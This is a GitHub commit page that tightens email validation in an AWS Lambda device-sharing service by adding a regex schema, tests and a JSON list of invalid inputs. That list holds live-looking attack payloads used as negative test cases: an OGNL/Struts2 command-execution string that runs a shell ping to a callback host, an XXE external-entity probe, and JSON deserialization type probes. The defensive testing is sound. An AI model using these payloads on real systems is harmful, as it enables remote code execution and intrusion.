Skip to content

Commit 075801a

Browse files
committed
fix: make email regexp more strict
We basically do not want crap to enter the database so this makes the RegExp for accepted emails more strict. HT to @ChrisAD for providing nice samples.
1 parent 9ae1a09 commit 075801a

File tree

4 files changed

+53
-9
lines changed

4 files changed

+53
-9
lines changed

lambda/shareDevice.ts

Lines changed: 5 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -10,14 +10,13 @@ import {
1010
import { Context, Model } from '@hello.nrfcloud.com/proto-map/api'
1111
import { fromEnv } from '@nordicsemiconductor/from-env'
1212
import { Type } from '@sinclair/typebox'
13-
import {
14-
type APIGatewayProxyEventV2,
15-
type APIGatewayProxyResultV2,
13+
import type {
14+
APIGatewayProxyEventV2,
15+
APIGatewayProxyResultV2,
1616
} from 'aws-lambda'
1717
import { randomUUID } from 'node:crypto'
1818
import { publicDevicesRepo } from '../devices/publicDevicesRepo.js'
1919
import { sendOwnershipVerificationEmail } from './sendOwnershipVerificationEmail.js'
20-
2120
import { MetricUnit } from '@aws-lambda-powertools/metrics'
2221
import { logMetrics } from '@aws-lambda-powertools/metrics/middleware'
2322
import { SSMClient } from '@aws-sdk/client-ssm'
@@ -30,6 +29,7 @@ import { fingerprintRegExp } from '@hello.nrfcloud.com/proto/fingerprint'
3029
import middy from '@middy/core'
3130
import { getSettings } from '../hello/settings.js'
3231
import { helloApi } from '../hello/api.js'
32+
import { Email } from '../util/validation/email.js'
3333

3434
const {
3535
publicDevicesTableName,
@@ -81,11 +81,7 @@ const validateInput = validateWithTypeBox(
8181
}),
8282
]),
8383
Type.Object({
84-
email: Type.RegExp(/.+@.+/, {
85-
title: 'Email',
86-
description:
87-
'The email of the owner of the device. They have to confirm the publication of the device every 30 days.',
88-
}),
84+
email: Email,
8985
}),
9086
]),
9187
)

util/validation/email.spec.ts

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
import { describe, it } from 'node:test'
2+
import assert from 'node:assert/strict'
3+
import invalidEmails from './invalid-emails.json' assert { type: 'json' }
4+
import { validateWithTypeBox } from '@hello.nrfcloud.com/proto'
5+
import { Email } from './email.js'
6+
7+
const v = validateWithTypeBox(Email)
8+
9+
void describe('it should validate emails', () => {
10+
for (const validEmail of ['alex@example.com', 'a@a.no']) {
11+
void it(`should validate ${validEmail}`, () => {
12+
assert.equal(
13+
'errors' in v(validEmail),
14+
false,
15+
`${validEmail} should be valid`,
16+
)
17+
})
18+
}
19+
20+
for (const email of invalidEmails) {
21+
void it(`should not validate ${email}`, () => {
22+
assert.equal(
23+
'errors' in v(email),
24+
true,
25+
`The email ${email} should not be valid!`,
26+
)
27+
})
28+
}
29+
})

util/validation/email.ts

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
import { Type } from '@sinclair/typebox'
2+
3+
const disallowedChars = '@;" '
4+
const rx = new RegExp(
5+
`^[^${disallowedChars}]{1,256}@[^${disallowedChars}]{3,253}$`,
6+
'i',
7+
)
8+
export const Email = Type.RegExp(rx, {
9+
title: 'Email',
10+
description:
11+
'The email of the owner of the device. They have to confirm the publication of the device every 30 days.',
12+
})

util/validation/invalid-emails.json

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
[
2+
"%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ping j9tbwbatz7e2rvipj6r59wf4yv4lsa.example.com -c1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}",
3+
"<!DOCTYPE foo [<!ENTITY xxeww2qq SYSTEM \"http://foo.example.com\"> ]>alex@example.com;alex@example.eu<root>&xxeww2qq;</root>",
4+
"alex@example.com;alex@example.eu",
5+
"{\"@type\":\"Freddy\"}",
6+
"{\"@class\":\"\"}"
7+
]

0 commit comments

Comments
 (0)